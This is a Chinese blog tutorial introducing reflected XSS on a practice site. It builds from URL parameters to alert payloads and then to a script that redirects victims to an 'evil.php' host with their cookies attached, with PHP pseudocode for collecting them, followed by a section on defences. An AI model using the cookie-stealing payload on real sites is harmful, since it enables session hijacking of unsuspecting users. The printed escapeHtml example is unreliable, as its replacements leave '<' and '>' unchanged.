XSS学习(一)之HTML

本文介绍了XSS(跨站脚本攻击)的基本概念,包括它的全称、用途和Cookies的相关知识。通过示例详细解释了URL的结构,并展示了如何通过修改URL参数进行XSS攻击,强调了'?'和'&'在传递参数中的作用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

学习网站:http://xsst.sinaapp.com/example/1-1.php

一、Xss全称是cross site scripting,即跨站脚本攻击。

二、用处:作为用来窃取信息的主要攻击方式。

三、Cookies :Cookies一词用在程序设计中是一种能够让网站服务器把少量数据储存到客户端的硬盘或内存,或是从客户端的硬盘读取数据的一种技术。从本质上讲,它可以看作是你的身份证。保存的信息片断以"名/值"对(name-value pairs)的形式储存,一个"名/值"对仅仅是一条命名的数据。

四、示例讲解:

输入网址:

http://xsst.sinapp.com/example/1-1.php?page=2
      显示结果:


注解:1. “?”后面page=2是参数;

           2.URL标准格式:协议://服务器IP [:端口] /路径/ [?查询]  比如Http协议:

HTTP URL
  格式:
  http://host[:port][abs_path]
  其中http表示要通过HTTP协议来定位网络资源。
  host表示合法的Internet主机域名或IP地址(以点分十进制格式表示);
  port用于指定一个端口号,拥有被请求资源的服务器主机监听该端口的TCP连接。
  如果port是空,则使用缺省的端口80。当服务器的端口不是80的时候,需要显式指定端口号。
  abs_path指定请求资源的URI(Uniform Resource Identifier,统一资源定位符),如果URL中没有给出abs_path,那么当它作为请求URI时,必须以“/”的形式给出。通常这个工作浏览器就帮我们完成了。

         3. “?”    分隔实际的URL和参数 。


             4.“‘?’”后面带的是get方式传递的值,如果有多个值,用 & 号分割.

然后把上面网址替换为:

http://xsst.sinapp.com/example/1-1.php?page=<img src="http://www.baidu.com/img/baidu_sylogo1.gif">
显示结果:


进一步我们把网址替换为:

http://xsst.sinapp.com/example/1-1.php?page=<script>alert(1)</script>
        显示结果:


更深入一步,我们可以得到页面的cookies数据
page=<script>alert(document.cookie)</script>
 网址为:
http://xsst.sinapp.com/example/1-1.php?<span style="font-family: arial, 宋体, sans-serif, tahoma, "Microsoft YaHei";">page=<script>alert(document.cookie)</script></span>

显示结果为:


当然这个只是弹出cookies,只是好看而已。(弹窗一点不好看 T T,没妹子好看!)

我们的目标是将得到的cookies发送到另外一个网站。试试下面的

page=<script>location.href='http://你自己的网站/evil.php?cookie='+encodeURIComponent(document.cookie)</script>

或点以下我所提供的链接(IE8,IE9用户,而且没关XSS筛选器的)
如果输入以下网址:

http://xsst.sinapp.com/example/1-1.php?page=<script>location.href='http://xsst.sinaapp.com/example/evil.php?cookie='+encodeURIComponent(document.cookie)</script>

输出结果为:


注解:

考虑到一些新手,没有JS基础,附上面这段JS代码的解释:
location.href="恶意地址"; //这句话可以让当前页面(location)的地址(href),跳转到恶意地址
document.cookie //就是当前页面的cookies数据
encodeURIComponent(document.cookie) //就是将cookies数据编码一下(防止cookies中有特殊的符号,导致地址错误)
location.href="恶意地址"+encodeURIComponent(document.cookie) //就是将编码后的数据加在恶意地址之后

例如:
location.href='http://xsst.sinaapp.com/evil.php?cookie='+encodeURIComponent(document.cookie)

运行之后,将会跳转到 http://xsst.sinaapp.com/evil.php?cookie=编码后的COOKIES数据

我们在服务器端,只需要用以下PHP代码,就可以获得cookie数据

<?
   $cookie=$_GET["cookie"];
   存储($cookie); //此句是伪代码
?>


### XSS攻击原理 跨站脚本攻击(Cross-Site Scripting, XSS)是种常见的安全漏洞,允许攻击者通过注入恶意脚本来窃取用户数据或执行其他有害操作。XSS攻击的核心在于利用网页未对用户输入的内容进行充分过滤或编码,从而使得恶意脚本能够在受害者的浏览器中被执行。 #### 攻击分类 XSS攻击主要分为三种类型:存储型XSS、反射型XSS以及DOM-based XSS。 - **反射型XSS** 是指攻击者诱导受害者点击个含有恶意脚本的URL链接,服务器将此脚本嵌入到响应页面中返回给客户端,最终由浏览器解析并运行该脚本[^2]。 - **存储型XSS** 则涉及将恶意脚本保存至数据库或其他持久化存储介质中,每当有合法用户访问受影响资源时都会触发相应脚本执行。 - **DOM-based XSS** 不依赖于服务端参与,而是直接修改当前文档对象模型(Document Object Model),即通过改变JavaScript代码来实现攻击效果[^1]。 ### 防御方法 为了有效防范此类威胁,可以采取以下几种技术手段: #### 输入验证与输出编码 对于任何来自外部源的数据都应实施严格的校验机制,并采用合适的字符集转换规则以避免特殊字符被错误解释成HTML标记或者属性值的部分。例如,在展示之前应该将`<`, `>`, `"`, `'` 替换为其对应的实体形式 (`<`, `>`, `"`, `'`) 来阻止潜在危险指令序列被执行[^3]。 ```javascript function escapeHtml(unsafe) { return unsafe.replace(/[<>]/g, function (match) { switch(match){ case '<': return '<'; case '>': return '>'; } }); } console.log(escapeHtml("<script>alert('XSS')</script>")); // 输出 <script>alert('XSS')</script> ``` #### 使用CSP头增强安全性 Content Security Policy(CSP)项额外的安全层配置选项,它定义哪些动态资源可以在特定环境下加载和执行。启用后能够显著降低因意外引入第三方库而引发的风险水平。具体来说就是设置HTTP响应头部字段`Content-Security-Policy`指定可信任来源列表,拒绝切不符合条件的要求尝试。 ```apacheconf Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://apis.google.com;" ``` #### HTTPOnly Cookies 和 Secure Flags 确保敏感信息如会话令牌仅限内部使用而不暴露在外网环境里非常重要。为此可以通过设定Cookie标志位HttpOnly防止JavaScript读写权限;另外如果应用支持TLS加密通信,则建议同时开启Secure flag强制要求所有传输过程均需经过SSL/TLS保护下完成。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值